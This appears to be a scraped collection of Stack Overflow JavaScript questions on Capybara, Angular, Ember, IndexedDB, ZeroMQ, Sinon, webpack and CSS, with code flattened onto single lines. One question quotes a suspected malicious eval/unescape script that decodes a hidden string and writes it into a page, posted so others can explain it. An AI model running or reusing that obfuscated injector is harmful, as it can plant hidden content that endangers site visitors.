that is causing my tests to fail : Again , when the delay is removed , my specs pass , but I need the delay . How can I stub this out in my Capybara tests ? Or do I need to test the method with Jasmine ? $ ( '.votable ' ) .one ( 'click ' , '.vote ' , function ( ) { $ ( '.post-vote ' ) . delay ( 45000 ) . queue ( function ( ) { $ ( this ) .dialog ( 'open ' ) } ) ; } ) ;",How to stub JavaScript delay in Capybara acceptance tests ? "JS : I have read various sources here and have created the following ways to redirect a user after 10 seconds . Not employed at the same time.First attempt in PHP : Then , second attempt in JavaScript : They both work nearly all of the time . They are used on a page using reveal.js ( like this one ) . Sometimes when the URL fragments change , the page no longer redirects at all - though , more often than not , the redirection does indeed work.Can anyone let me know what the issue might be , or a good resource to read about the issue ? Edit : Changing to setInterval in the JavaScript version results in it trying again . header ( `` refresh:10 ; url= ? switch=1 '' ) window.setTimeout ( function ( ) { location.href = ' ? switch=1 ' ; } , 10000 ) ;",Page redirect not working consistently in PHP or JavaScript "JS : I 'm new to angular . I want to animate a div body using ng-click on a ng-repeat element . This is what I have tried so far.app.jsapp.htmlWhat I wanted to do is add a fade-in transition effect to item-body div as the changing item . I searched the web , but I ca n't seem to find a solution . Please help.JSFiddle - https : //jsfiddle.net/lpsandaruwan/ot45qdno/14/ var app = angular.module ( 'app ' , [ ] ) ; app.controller ( 'appController ' , function ( $ scope ) { $ scope.items = [ { `` id '' : `` id1 '' , `` name '' : `` Name 1 '' } , { `` id '' : `` id2 '' , `` name '' : `` Name 2 '' } , { `` id '' : `` id3 '' , `` name '' : `` Name 3 '' } ] ; $ scope.selectedStyle = { `` background-color '' : `` blue '' , `` color '' : `` white '' } ; $ scope.selectedItem = $ scope.items [ 0 ] ; $ scope.selectItem = function ( item ) { $ scope.selectedItem = item ; } } ) ; < div ng-app= '' app '' ng-controller= '' appController '' > < table class=table > < tbody > < tr ng-repeat= '' item in items '' ng-click= '' selectItem ( item ) '' ng-style= '' item.id === selectedItem.id & & selectedStyle '' > < td > { { item.id } } < /td > < /tr > < /tbody > < /table > < div class= '' item-body '' > { { selectedItem.name } } < /div > < /div >",AngularJS - animate div using changing scope variable "JS : I 'm once again struggling with the adapters in EmberJS . This time it 's related to nested api requests with the usage of ember-data-url-templates.First of all , the relevant code : The idea is that a course consists of several questions . The api provides data in a nested way : This code is working fine when navigating 'inside ' the application , as in , not accessing the route directly . It then shows the appropriate title , body and which course it is part of . But , when navigating to /courses/1/lesson/3 directly , the adapter is n't able to find the courseId from the snapshot since the request is pointed to http : //coursedev.api/courses//lesson/3 . Note the lack of the courseId . This URL does n't exist , since a courseId should be provided.My first question is , is the approach above right to handle nested api urls ? And if that is the case , then how should the courseId be gathered to do a proper request to the api ? A massive thanks again ! // /app/application/adapter.jsimport DS from 'ember-data ' ; var AppAdapter = DS.JSONAPIAdapter.extend ( { host : 'http : //coursedev.api ' } ) ; export default AppAdapter ; // /app/router.jsimport Ember from 'ember ' ; import config from './config/environment ' ; const Router = Ember.Router.extend ( { location : config.locationType } ) ; Router.map ( function ( ) { this.route ( 'courses ' ) ; this.route ( 'course ' , { path : '/course/ : course_id ' } ) ; this.route ( 'lesson ' , { path : '/course/ : course_id/lesson/ : lesson_id ' } ) ; } ) ; export default Router ; // app/course/model.jsimport DS from 'ember-data ' ; export default DS.Model.extend ( { order : DS.attr ( 'number ' ) , title : DS.attr ( 'string ' ) , body : DS.attr ( 'string ' ) , lessons : DS.hasMany ( 'lesson ' ) } ) ; // app/lesson/model.jsimport DS from 'ember-data ' ; export default DS.Model.extend ( { order : DS.attr ( 'number ' ) , title : DS.attr ( 'string ' ) , body : DS.attr ( 'string ' ) , course : DS.belongsTo ( 'course ' ) , questions : DS.hasMany ( 'question ' ) } ) ; // app/lesson/adapter.jsimport AppAdapter from '../application/adapter ' ; import UrlTemplates from `` ember-data-url-templates '' ; export default AppAdapter.extend ( UrlTemplates , { urlTemplate : ' { +host } /courses/ { courseId } /lesson/ { id } ' , urlSegments : { host : function ( ) { return this.get ( 'host ' ) ; } , courseId : function ( type , id , snapshot , query ) { return snapshot.belongsTo ( 'course ' , { id : true } ) ; } } } ) ; // app/lesson/route.jsimport Ember from 'ember ' ; export default Ember.Route.extend ( { model ( params ) { return this.store.findRecord ( 'lesson ' , params.lesson_id ) ; } } ) ; // app/lesson/template.hbs < h1 > { { model.title } } < /h1 > { { model.body } } < br > This lesson is part of { { # link-to 'course ' model.course.id } } { { model.course.title } } { { /link-to } } /courses > all the courses/courses/ { courseId } > detailed course info/courses/ { courseId } /lesson/ { lessonId } / > detailed lesson info",EmberJS Custom adapter using ember-data-url-templates "JS : I 'm using ES6 classes and my class ( A ) extends class B and class B extends class C. How can A extend a method and then call C 's version of that method.Edit : Thanks all , I 'm going to stop trying to do this silly thing . The minor gains in code-re-use are n't worth the acrobatics in my situation . class C { constructor ( ) { console.log ( 'class c ' ) ; } } class B extends C { constructor ( ) { super ( ) console.log ( 'no , I do n't want this constructor . ' ) ; } } class A extends B { constructor ( ) { // What should I be doing here ? I want to call C 's constructor . super.super ( ) ; } }",How can I call my class ' parent 's parent 's constructor in ES6 ? "JS : In IndexedDB , there are two ways to update an object already in the database . You can call IDBCursor.update or IDBObjectStore.put.Both accept the updated object as a parameter.IDBCursor.update requires you to open a cursor first , but you basically have to do that with IDBObjectStore.put too to retrieve the prior value.IDBObjectStore.put will create a new object if it ca n't find one to update , but since it has to check for an update first , I do n't know if this would actually create a performance difference.So what is the difference between these methods ? Is there anything I 'm missing ? I tried to make a test case to investigate performance differences : You can try it here.In Firefox , I get output like : Basically no difference in performance . The results are a little different in Chrome when N is large : But like I said above , I 'm not even sure if there should be a difference between these two methods , because it seems like they have to do exactly the same thing . var db ; function runTest ( N , cb ) { console.log ( `` N = `` + N ) ; // Add some fake data to object store var tx = db.transaction ( `` store '' , `` readwrite '' ) ; tx.objectStore ( `` store '' ) .clear ( ) ; for ( var i = 0 ; i < N ; i++ ) { tx.objectStore ( `` store '' ) .add ( { `` id '' : i , `` index '' :0 , '' guid '' : '' 21310c91-ff31-4cb9-ae68-16d48cbbd84a '' , '' isActive '' : false , '' balance '' : '' $ 1,840.25 '' , '' picture '' : '' http : //placehold.it/32x32 '' , '' age '' :33 , '' eyeColor '' : '' brown '' , '' name '' : '' Witt Fletcher '' , '' gender '' : '' male '' , '' company '' : '' QUILM '' , '' email '' : '' wittfletcher @ quilm.com '' , '' phone '' : '' +1 ( 851 ) 485-2174 '' , '' address '' : '' 729 Conover Street , Marenisco , Virginia , 7219 '' , '' about '' : '' Incididunt do deserunt ut quis . Exercitation et ut ad aliqua ut do sint Lorem . Aliquip sit aliquip nulla excepteur pariatur ut laborum ea dolor . Consectetur incididunt et et esse commodo id eu dolor in . Nostrud sit mollit occaecat ullamco commodo aute anim duis enim et aliqua . Aute duis nostrud do minim labore sunt mollit in voluptate aliquip sit . Aliqua aliquip non ipsum exercitation cillum irure in.\r\n '' , '' registered '' : '' 2014-07-02T03:42:57 +04:00 '' , '' latitude '' : -65.942119 , '' longitude '' : -129.471674 , '' tags '' : [ `` reprehenderit '' , '' nostrud '' , '' velit '' , '' exercitation '' , '' nulla '' , '' nulla '' , '' est '' ] , '' friends '' : [ { `` id '' :0 , '' name '' : '' Kristine Francis '' } , { `` id '' :1 , '' name '' : '' Lizzie Ruiz '' } , { `` id '' :2 , '' name '' : '' Bobbie Underwood '' } ] , '' greeting '' : '' Hello , Witt Fletcher ! You have 7 unread messages . `` , '' favoriteFruit '' : '' apple '' } ) ; } tx.oncomplete = function ( ) { // Update with cursor.update var tStart = ( new Date ( ) ) .getTime ( ) ; tx = db.transaction ( `` store '' , `` readwrite '' ) ; var store = tx.objectStore ( `` store '' ) ; for ( var i = 0 ; i < N ; i++ ) { store.openCursor ( i ) .onsuccess = function ( event ) { var cursor = event.target.result ; cursor.value.age = 34 ; cursor.update ( cursor.value ) ; } ; } tx.oncomplete = function ( ) { var tEnd = ( new Date ( ) ) .getTime ( ) ; console.log ( `` cursor.update - `` + ( tEnd - tStart ) + `` milliseconds '' ) ; // Update with put tStart = ( new Date ( ) ) .getTime ( ) ; tx = db.transaction ( `` store '' , `` readwrite '' ) ; store = tx.objectStore ( `` store '' ) ; for ( var i = 0 ; i < N ; i++ ) { store.openCursor ( i ) .onsuccess = function ( event ) { var cursor = event.target.result ; cursor.value.age = 34 ; store.put ( cursor.value ) ; } ; } tx.oncomplete = function ( ) { tEnd = ( new Date ( ) ) .getTime ( ) ; console.log ( `` put - `` + ( tEnd - tStart ) + `` milliseconds '' ) ; if ( cb ! == undefined ) { cb ( ) ; } } ; } ; } ; } request = indexedDB.open ( `` yes5ytrye '' , 1 ) ; request.onerror = function ( event ) { console.log ( event ) ; } ; request.onupgradeneeded = function ( event ) { var db = event.target.result ; db.onerror = function ( event ) { console.log ( event ) ; } ; db.createObjectStore ( `` store '' , { keyPath : `` id '' } ) ; } ; request.onsuccess = function ( event ) { db = request.result ; db.onerror = function ( event ) { console.log ( event ) ; } ; runTest ( 100 , function ( ) { runTest ( 1000 , function ( ) { runTest ( 10000 , function ( ) { console.log ( `` Done '' ) ; } ) ; } ) ; } ) ; } ; N = 100cursor.update - 39 millisecondsput - 40 millisecondsN = 1000cursor.update - 229 millisecondsput - 256 millisecondsN = 10000cursor.update - 2194 millisecondsput - 2096 millisecondsDone N = 100cursor.update - 51 millisecondsput - 44 millisecondsN = 1000cursor.update - 414 millisecondsput - 447 millisecondsN = 10000cursor.update - 13506 millisecondsput - 22783 millisecondsDone","In IndexedDB , what is the difference between IDBObjectStore.put and IDBCursor.update ?" "JS : In some Node.js scripts that I have written , I notice that even if the last line is a synchronous call , sometimes it does n't complete before Node.js exits.I have never seen a console.log statement fail to run/complete before exiting , but I have seen some other statements fail to complete before exiting , and I believe they are all synchronous . I could see why the callback of an async function would fail to fire of course in this case.The code in question is a ZeroMQ .send ( ) call like so : The above code works as expected ... but if I remove setInterval ( ) and just call it like this : ... Then the message will not get delivered - the program will apparently exit before the pub.send ( ) call completes.What is the best way to ensure a statement completes before exiting in Node.js ? Shutdown hooks would work here , but I am afraid that would just be masking the problem since you ca n't put everything that you need to ensure runs in a shutdown hook.This problem can also be demonstrated this way : I believe this is a legit/serious problem because a lot of programs just need to publish messages and then die , but how can we effectively ensure all messages get sent ( though not necessarily received ) ? EDIT : One ( potential ) way to fix this is to do : var zmq = require ( 'zmq ' ) ; var pub = zmq.socket ( 'pub ' ) ; pub.bindSync ( 'tcp : //127.0.0.1:5555 ' ) ; setInterval ( function ( ) { pub.send ( 'polyglot ' ) ; } ,500 ) ; var zmq = require ( 'zmq ' ) ; var pub = zmq.socket ( 'pub ' ) ; pub.bindSync ( 'tcp : //127.0.0.1:5555 ' ) ; pub.send ( 'polyglot ' ) ; //this message does not get delivered before exit process.exit ( 0 ) ; if ( typeof messageHandler [ nameOfHandlerFunction ] == 'function ' ) { reply.send ( 'Success ' ) ; messageHandler [ nameOfHandlerFunction ] ( null , args ) ; } else { reply.send ( 'Failure ' ) ; //***this call might not complete before the error is thrown below . *** throw new Error ( 'SmartConnect error : no handler for ZMQ message sent from Redis CSV uploader . ' ) ; } socket.send ( 'xyz ' ) ; socket.close ( ) ; // supposedly this will block until the above message is sentprocess.exit ( 0 ) ;",Node.js socket.send ( ) functions failing to complete before exit "JS : I know that when JS tries to represent an object as primitive , it calls valueOf method on an object . But today I found out that it also calls toString ( ) method in the same situation : Why ? If I add valueOf method then toString is not called . var o = { } ; o.toString = function ( ) { return 1 } ; 1+ o ; // 2",Why does JS call ` toString ` method when object is added to a number "JS : I am trying to change the width of a < hr > element with jQuery but it changes the width in 2 directions . I only want it to stretch to the right side . the variable food.runningDistance changes when I do some actions on my application . Code : html : javascript : < hr id= '' runningLine '' > $ ( `` # runningLine '' ) .animate ( { width : food.runningDistance } , 500 ) ;",how to change the width of a < hr > element in one direction ? "JS : I am trying to understand how callbacks work so I created a function and passed a second argument named 'callback ' , which I call at the end of the function with 'callback ( arr ) ' . However I am getting an error which says : `` callback is not a function '' ? Can you please tell me what I am doing wrong ? UPDATEvo is a nodejs library that takes a generator function* ( ) and runs all it 's yields . It 's basically a way to handle async code with less callbacks ( yes I know I used a callback as well but that 's pretty much a choice ) . A more popular library that does exactly the same thing is co. Link to vo : https : //github.com/matthewmueller/vo var Nightmare = require ( 'nightmare ' ) ; var vo = require ( 'vo ' ) ; function* MyFunction ( query , callback ) { arr = [ ] ; for ( i = 0 ; i < 1 ; i++ ) { arr.push ( yield Nightmare ( { show : true } ) .goto ( ` http : //google.com ` ) .inject ( 'js ' , 'jquery-3.1.0.js ' ) .evaluate ( ( ) = > { var title ; title = 1 extend = 2 var img ; img = 3 var par ; par = 4 url = window.location.href ; var par_arr = [ 5 , 5 , 5 , 5 ] ; return { title : title , img : img , par : par , par_arr : par_arr , url : url } } ) .end ( ) .catch ( function ( error , nightmare ) { console.error ( 'Search failed : ' , error ) ; } ) ) } callback ( arr ) ; return arr ; } vo ( MyFunction ) ( 'query ' , ( arr ) = > { console.log ( arr ) ; } ) ;",How can I pass a callback to a generator that I pass to the `` vo '' library ? "JS : Hey everybody . I 'm developing a new site ( php5/mySQL ) and am looking to finally get on the Unicode bandwagon . I 'll admit to knowing next to absolutely nothing about supporting Unicode at the moment , but I 'm hoping to resolve that with your help.After desperately flexing my tiny , pathetic excuses for Googlefu-muscles , and scouring over each page that looked promising to my Unicode-newbie eyes , I have come to the conclusion that , while not entirely supported , my precious language of choice ( PHP for those that have forgotten ) has made at least a half-assed attempt at managing the foreign beast ( and from what else I see , succeeding ? ) . I have also come to the conclusion thatis a great place to start and that I should be looking into supporting UTF-8 since I have plenty of space on my ( shared , for the moment ) hosting . However , I 'm not sure what this strange functionality known as mb_* means or how to incorporate it into functions such as strlen ( ) and . . . to be honest at this point I do n't know what other functionality ( that I ca n't live without ) is affected.So I 've come to you SO-ites in search of enlightenment and possibly straightening out my confused ( where Unicode is concerned ! ) brain . I really want to support it but I need serious help.P.S . : Does Unicode affect mysql_real_escape_string ( ) or any other XSS prevention/security measures ? I need to stay on top of this as well ! Thanks ahead of time.Adding Javascript into the mix , since I 'll be using a mix of pure and jQuery and no knowing about Unicode support + this language . ; ) < php header ( 'Content-Type : text/html ; charset=utf-8 ' ) ; ? >",Guides for dealing with Unicode in PHP5 ? "JS : This is the working format in fiddle and below is the code i have used in my demo-site i have created a new folder name js and placed datepicker.js inside it . so i linked the following in my html.and my datapicker.js code is and my html code is but when i press the above button .js is not being called . please help < script type= '' text/javascript '' src= '' js/datepicker.js '' > < /script > $ ( function ( ) { $ ( ' # departure-date ' ) .datepicker ( { numberOfMonths : 2 , showAnim : `` fold '' , showButtonPanel : true , onSelect : ( function ( date ) { setTimeout ( function ( ) { $ ( ' # return-date ' ) .datepicker ( 'show ' ) ; } , 300 ) $ ( this ) .val ( $ ( this ) .datepicker ( 'getDate ' ) .toLocaleDateString ( ) ) ; } ) } ) ; $ ( ' # return-date ' ) .datepicker ( { numberOfMonths : 2 , showAnim : `` fold '' , showButtonPanel : true , onSelect : ( function ( date ) { $ ( this ) .val ( $ ( this ) .datepicker ( 'getDate ' ) .toLocaleDateString ( ) ) ; } ) } ) ; } ) ; < input id= '' departure-date '' type= '' text '' placeholder= '' Depart Date '' > < input type= '' text '' id= '' return-date '' placeholder= '' return Date '' >",Date picker ( .js ) not working in HTML editor but working in fiddle "JS : Let 's create a new object : Known fact is that after creating a new object , this new object inherits the Object.prototype . So when I try to check if the prototype 's properties were inherited I do `` toString '' in obj for which I get true . But when I want to put all the properties of the newly created object into an array I would see that the array is empty after finishing filling up . Have a look on the code below : Fail to see why it happens . var dict = { } ; var names = [ ] ; for ( var name in dict ) { names.push ( name ) ; } ; names.length ;",Why `` for-in '' loop does n't iterate through the prototype properties ? "JS : How to set Electron Browser Window DevTools width ? I know how to set width and height of the mainwindow and open DevTools : But I would like to set DevTools dock width somehow , is it possible ? Or set `` Body '' width so it leaves space for DevTools , setting width style does not help . mainWindow = new BrowserWindow ( { width : 1920 , height : 1080 } // Open the DevTools . mainWindow.webContents.openDevTools ( )",How to set Electron Browser Window DevTools width ? "JS : This question is a follow-up to the questions How to save a leaflet map in Shiny , and Save leaflet map in Shiny . I add a toolbar to draw shapes/points on the map that is addDrawToolbar in the leaflet.extras package . That lets users to draw lines , shapes , ... interactively . In the end I want one to be able to save the map with the drawn shapes as a pdf or png . I have coded up the following making use of the answer to the question : How to save a leaflet map in Shiny . But it does not help achieve my goal . Is there anyone who can help me ? library ( shiny ) library ( leaflet ) library ( leaflet.extras ) library ( mapview ) ui < - fluidPage ( leafletOutput ( `` map '' ) , br ( ) , downloadButton ( `` download_pdf '' , `` Download .pdf '' ) ) server < - function ( input , output , session ) { foundational_map < - reactive ( { leaflet ( ) % > % addTiles ( ) % > % addMeasure ( primaryLengthUnit = `` kilometers '' , secondaryAreaUnit = FALSE ) % > % addDrawToolbar ( targetGroup='draw ' , editOptions = editToolbarOptions ( selectedPathOptions = selectedPathOptions ( ) ) , polylineOptions = filterNULL ( list ( shapeOptions = drawShapeOptions ( lineJoin = `` round '' , weight = 3 ) ) ) , circleOptions = filterNULL ( list ( shapeOptions = drawShapeOptions ( ) , repeatMode = F , showRadius = T , metric = T , feet = F , nautic = F ) ) ) % > % setView ( lat = 45 , lng = 9 , zoom = 3 ) % > % addStyleEditor ( position = `` bottomleft '' , openOnLeafletDraw = TRUE ) } ) output $ map < - renderLeaflet ( { foundational_map ( ) } ) user_created_map < - reactive ( { foundational_map ( ) % > % setView ( lng = input $ map_center $ lng , lat = input $ map_center $ lat , zoom = input $ map_zoom ) } ) output $ download_pdf < - downloadHandler ( filename = paste0 ( `` map_ '' , Sys.time ( ) , `` .pdf '' ) , content = function ( file ) { mapshot ( user_created_map ( ) , file = file ) } ) } shinyApp ( ui = ui , server = server )",How to save a leaflet map with drawn shapes/points on it in Shiny ? "JS : I am working on a server-side react-node project with the webpack . I had too many errors on the console I have not been able to figure out since yesterday . I hope someone spends time and help me out . this is the last error : the main problem is kinda webpack with node.here is the server set up : Here is the repo ERROR in ./src lazy ^\.\/ . * $ namespace object ./main It 's not allowed to load an initial chunk on demand . The chunk name `` main '' is already used by an entrypoint . import express from `` express '' ; const server = express ( ) ; import path from `` path '' ; // const expressStaticGzip = require ( `` express-static-gzip '' ) ; import expressStaticGzip from `` express-static-gzip '' ; import webpack from `` webpack '' ; import webpackHotServerMiddleware from `` webpack-hot-server-middleware '' ; import configDevClient from `` ../../config/webpack.dev-client '' ; import configDevServer from `` ../../config/webpack.dev-server.js '' ; import configProdClient from `` ../../config/webpack.prod-client.js '' ; import configProdServer from `` ../../config/webpack.prod-server.js '' ; const isProd = process.env.NODE_ENV === `` production '' ; const isDev = ! isProd ; const PORT = process.env.PORT || 8000 ; let isBuilt = false ; const done = ( ) = > { ! isBuilt & & server.listen ( PORT , ( ) = > { isBuilt = true ; console.log ( ` Server listening on http : //localhost : $ { PORT } in $ { process.env.NODE_ENV } ` ) ; } ) ; } ; if ( isDev ) { const compiler = webpack ( [ configDevClient , configDevServer ] ) ; const clientCompiler = compiler.compilers [ 0 ] ; const serverCompiler = compiler.compilers [ 1 ] ; const webpackDevMiddleware = require ( `` webpack-dev-middleware '' ) ( compiler , configDevClient.devServer ) ; const webpackHotMiddlware = require ( `` webpack-hot-middleware '' ) ( clientCompiler , configDevClient.devServer ) ; server.use ( webpackDevMiddleware ) ; server.use ( webpackHotMiddlware ) ; server.use ( webpackHotServerMiddleware ( compiler ) ) ; console.log ( `` Middleware enabled '' ) ; done ( ) ; } else { webpack ( [ configProdClient , configProdServer ] ) .run ( ( err , stats ) = > { const clientStats = stats.toJson ( ) .children [ 0 ] ; const render = require ( `` ../../build/prod-server-bundle.js '' ) .default ; server.use ( expressStaticGzip ( `` dist '' , { enableBrotli : true } ) ) ; server.use ( render ( { clientStats } ) ) ; done ( ) ; } ) ; }",It 's not allowed to load an initial chunk on demand . The chunk name `` main '' is already used by an entrypoint "JS : According to their examples and documentation you should be able to see the headers when you are on a mobile phone : tablesaw doctable-saw demoHowever when i attempt this with the following table : i get this : As you can see without the headers.I searched around and saw a guy on github having the same problem however he did not have any luck with solving the issue.My question to you guys is , has anyone ever encountered the problem and know of a way to fix it ? < table id= '' table-client '' class= '' table table-responsive tablesaw tablesaw-stack '' data-tablesaw-mode= '' stack ''",Tablesaw headers not shown on mobile "JS : I have encountered some java script code which I believe is malicious but most of it is obfuscated . I was wondering if someone could help me figure out what this code actually does.Just as a reminder DO NOT EXECUTE THIS CODE . eval ( unescape ( 'function n48ec61ae ( s ) { var r = `` '' ; var tmp = s.split ( `` 12113781 '' ) ; s = unescape ( tmp [ 0 ] ) ; k = unescape ( tmp [ 1 ] + `` 608421 '' ) ; for ( var i = 0 ; i < s.length ; i++ ) { r += String.fromCharCode ( ( parseInt ( k.charAt ( i % k.length ) ) ^s.charCodeAt ( i ) ) +-4 ) ; } return r ; } ' ) ) ; eval ( unescape ( 'document.write ( n48ec61ae ( `` ) + 'GoqwpF @ dmgiEFxipviJBkSbzbjxy , _WMD1yj { yoBFqa|g % ufxoA '' go } swtip % -asvporpE $ 'EF3hachJAmulwisa~ $ ^WYVF % < 24-8 ( & , BQWOJ_G & 0 . `` J^ASHAP_NIRI 4 . HWBR @ QTAOKRCE $ 5 ! A @ n~cqa PDVJH xw| $ _RE @ ! oq~t : ; 5 { s0ram ` axsau2ows2ulaoizm6 < 21wnkdpicp5hx6vms @ q042enA1 ? 7+5=0oI $ ZWTHPNWOBFj~ash # QLWIE.nsyaos5kl~ & _PGI '' ggtzq8ftmto . SDQHDT [ I @ ^LI '' 6 ' # RLPKIZJIEONYF % = $ SOPSXTOSLB/TS '' , LVMUKGTUAOVE.2 & , VQWNTDXIF @ ; ntdvj~oxFHtsbrgpntKF3v { lvmukvEF3hpwpJ121137817396048 ' + unescape ( `` ) ) ; ' ) ) ; // -- >",obfuscated javascript code "JS : I have the following queue consumer class which runs recursively through promises : I have defined a test which will basically assert that the correct workflow is happening , and that the consumer ultimately handles all of the tasks in the queue ( this is an integration test working in front of a real Redis broker ) Test : My problem is that the call count always equals 1.I thought at first that a andCallThrough ( ) method invocation is required , similar to the way this works in Jasmine , but then found out that the actual function is being invoked.Tried using sinon.useFakeTimers ( ) but that did not work at all ( test did not seem to wait , timeout in the consumer class was not firing ) ; Expected behavior : callCount is as NUM_OF_ITEMS ( via recursive calls ) .Actual behavior : callCount is always 1 . `` use strict '' ; var queue = require ( `` ./queue '' ) , helpers = require ( `` ./helpers '' ) , vendors = require ( `` ../config/vendors '' ) , queueConf = require ( `` ../config/queue '' ) ; function Consumer ( ) { this.queue = new queue.TaskQueue ( ) ; this.currentItem = null ; this.port = null ; this.payload = null ; } Consumer.prototype.payloadSuccessCb = function ( data ) { this.payload = data ; this.run ( ) ; } ; Consumer.prototype.failureCb = function ( data ) { console.error ( data ) ; throw new Error ( data ) ; //TODO : Continue queue processing despite the error } ; Consumer.prototype.processItem = function ( data ) { this.currentItem = data ; process.send ( `` Proccess `` + process.pid + `` is processing item `` + this.currentItem ) ; helpers.getPayload ( this.currentItem ) .then ( this.payloadSuccessCb , this.failureCb ) ; } ; Consumer.prototype.wait = function ( ) { var self = this ; process.send ( `` Proccess `` + process.pid + `` is waiting for new items '' ) ; setTimeout ( function ( ) { self.run ( ) ; } , queueConf.waitTime ) ; } ; Consumer.prototype.queueSuccessFb = function ( data ) { console.error ( `` here '' ) ; if ( data ) { this.processItem ( data ) ; } else { this.wait ( ) ; } } ; Consumer.prototype.run = function ( ) { //this.port = helpers.getVendorPortById ( this.currentItem ) ; this.queue.pop ( ) .then ( this.queueSuccessFb , this.failureCb ) ; } ; exports.Consumer = Consumer ; `` use strict '' ; var consumer = require ( `` ./../../src/consumer '' ) , queue = require ( `` ./../../src/queue '' ) , Q = require ( `` Q '' ) , sinon = require ( `` sinon '' ) , assert = require ( `` assert '' ) , queueConf = require ( `` ./../../config/queue '' ) , NUM_OF_ITEMS = 5 , queueInstance , spy , consumerInstance ; describe ( `` consumer '' , function ( ) { beforeEach ( function ( ) { queueInstance = new queue.TaskQueue ( ) ; } ) ; describe ( `` waiting for tasks while the queue is empty '' , function ( ) { describe ( `` queue success call back '' , function ( ) { before ( function ( ) { consumerInstance = new consumer.Consumer ( ) ; spy = sinon.spy ( consumerInstance , `` queueSuccessFb '' ) ; } ) ; it ( `` should call the success callback once per the defined period '' , function ( done ) { consumerInstance.run ( ) ; setTimeout ( function ( ) { sinon.assert.calledOnce ( spy ) ; done ( ) ; } , queueConf.waitTime ) ; } ) ; it ( `` should call the success callback twice per the defined period + 1 '' , function ( done ) { consumerInstance.run ( ) ; setTimeout ( function ( ) { sinon.assert.calledTwice ( spy ) ; done ( ) ; } , queueConf.waitTime * 2 ) ; } ) ; } ) ; describe ( `` wait function '' , function ( ) { before ( function ( ) { consumerInstance = new consumer.Consumer ( ) ; spy = sinon.spy ( consumerInstance , `` wait '' ) ; } ) ; } ) ; } ) ; describe ( `` task handling '' , function ( ) { beforeEach ( function ( done ) { this.timeout ( 6000 ) ; var i , promises = [ ] ; queueInstance = new queue.TaskQueue ( ) ; for ( i = 1 ; i < = NUM_OF_ITEMS ; i += 1 ) { promises.push ( queueInstance.push ( i ) ) ; } Q.all ( promises ) .then ( function ( ) { done ( ) ; } ) ; } ) ; afterEach ( function ( ) { queueInstance.empty ( ) ; } ) ; describe ( `` sucess callback '' , function ( ) { before ( function ( ) { consumerInstance = new consumer.Consumer ( ) ; spy = sinon.spy ( consumerInstance , `` queueSuccessFb '' ) ; } ) ; it ( `` should run all of the available tasks one by one '' , function ( done ) { this.timeout ( 6000 ) ; consumerInstance.run ( ) ; setTimeout ( function ( ) { console.info ( spy.callCount ) ; assert ( spy.callCount === NUM_OF_ITEMS ) ; done ( ) ; } , 2000 ) ; } ) ; } ) ; } ) ; } ) ;",Assert number of recursive calls in sinon "JS : I have a problem with finding object in nested json ! I need to do operations like 'add ' to object and 'delete ' object in that nested json . Would it be easy to get object by using `` JSON.stringify '' and in that string find objects ID parameter ( every object has its own unique ID ) . Then from that point find its `` wrapper '' curly braces ( { } ) i could get object it self and then delete it or add new object in it.I had this idea , but have no idea how to select its curly braces ... I think it might work , but what do you thing ? : ) Here would be the example object ! https : //jsfiddle.net/gb8hb8g7/ var aa = [ { name : `` aaa '' , id : 1 , items : [ { name : `` bbb '' , id : 15 , items : [ { name : `` ccc '' , id : 44 } , { name : `` ddd '' , id : 91 } ] } , { name : `` eee '' , id : 12 } ] } ] ; console.log ( JSON.stringify ( aa ) ) ;",Find / delete / add / update objects in nested json "JS : So , I 've been using emotion-js for a while , and I love it ! But I really hate e2e tests for that . All selectors look like this : div > div > div > p , because emotion injects classnames which are random-generated strings.So I thought of injecting data- attributes with DisplayName to each element to be able to test them in more clean way : [ data-test-id*= '' DateButton '' ] or something like that . So I wrote this simple wrapper : https : //gist.github.com/sergeyvlakh/3072a4e2e27456bda853a1e1a213a568And I use it like this : The problem here is what I 'm not `` dynamically '' inject data attribute . I want to use it like any HoC from recompose : export default Injector ( App ) OR even with dynamic prop name like : export default Injector ( 'data-test-id ' ) ( App ) .But ... children for Injector will be undefined in that case , so I do n't know how to proceed : ) UPDATE : Thanks to remix23 I did this way : https : //gist.github.com/sergeyvlakh/f99310cdef018c06451333a36e764372However I strongly recommend to use his code . import Injector from './injector ' ; export default props = > ( < Injector > < MyReactTree / > < /Injector > )",How to recursively inject props to each React component in a tree ? "JS : Here is my homepageI want to extend the height of my image to fit the whole screen . I know that I have to adjust the height attribute , I did that , and nothing seems to work.CSSNote : I tried height : auto ; . It does n't do anything.HTML .hero { background : # fff ; border-bottom : 8px solid # 7ac9ed ; background : url ( '../img/hero-slider/boxfill2sm.jpg ' ) ; background-size : cover ; position : relative ; padding-top : 0 ; height : auto ; } < section class= '' hero '' > < div class= '' container-fluid no-margin no-padding '' > < div class= '' col-md-8 col-sm-12 col-xs-12 col-lg-8 '' id= '' hero-left '' > < div > < div class= '' row '' > < div class= '' bx-wrapper '' style= '' max-width : 100 % ; '' > < div class= '' bx-viewport '' style= '' width : 100 % ; overflow : hidden ; position : relative ; height : 391px ; '' > < div class= '' hero-slider '' style= '' width : auto ; position : relative ; '' > < div class= '' slide first-slide '' style= '' float : none ; list-style : none ; position : absolute ; width : 1067px ; z-index : 50 ; display : block ; '' > < div class= '' col-lg-5 col-md-5 col-sm-5 animated fadeInUp fadeInDown '' > < h2 style= '' margin-top:50px ; '' class= '' text-left '' > MEET TUTTI.ED < /h2 > < p > EFFECTIVE DIGITAL LEARNING < /p > < p > Tutti.ed is our educational software platform that empowers education companies to bring state-of-the-art digital learning products to market quickly. < /p > < a class= '' btn btn-primary '' href= '' /tutti-ed '' > Learn More < /a > < /div > < div class= '' col-lg-7 col-md-7 col-sm-7 animated fadeInRight '' > < ! -- < div class= '' video '' > < img class= '' slider-img pull-right '' src= '' img/hero-slider/tdApp1.jpg '' width= '' 689 '' height= '' 659 '' alt= '' Components and Styles '' / > < /div > -- > < ! -- < img class= '' iphone '' src= '' img/hero-slider/iphone.png '' width= '' 649 '' height= '' 400 '' alt= '' Coming Soon Page '' / > -- > < /div > < /div > < div class= '' slide '' style= '' float : none ; list-style : none ; position : absolute ; width : 1067px ; z-index : 0 ; display : none ; '' > < div class= '' col-lg-5 col-md-5 col-sm-5 animated fadeInUp '' > < h2 style= '' margin-top:50px ; '' class= '' text-left '' > MEET TUTTI.DEV < /h2 > < p > BY DEVELOPERS , FOR DEVELOPERS < /p > < p > Tutti.dev is our cloud application suite that enables software teams to work more effectively and efficiently . Get it together with Tutti ! < /p > < a class= '' btn btn-primary '' href= '' /tutti-dev '' > Learn more < /a > < /div > < div class= '' col-lg-7 col-md-7 col-sm-7 animated 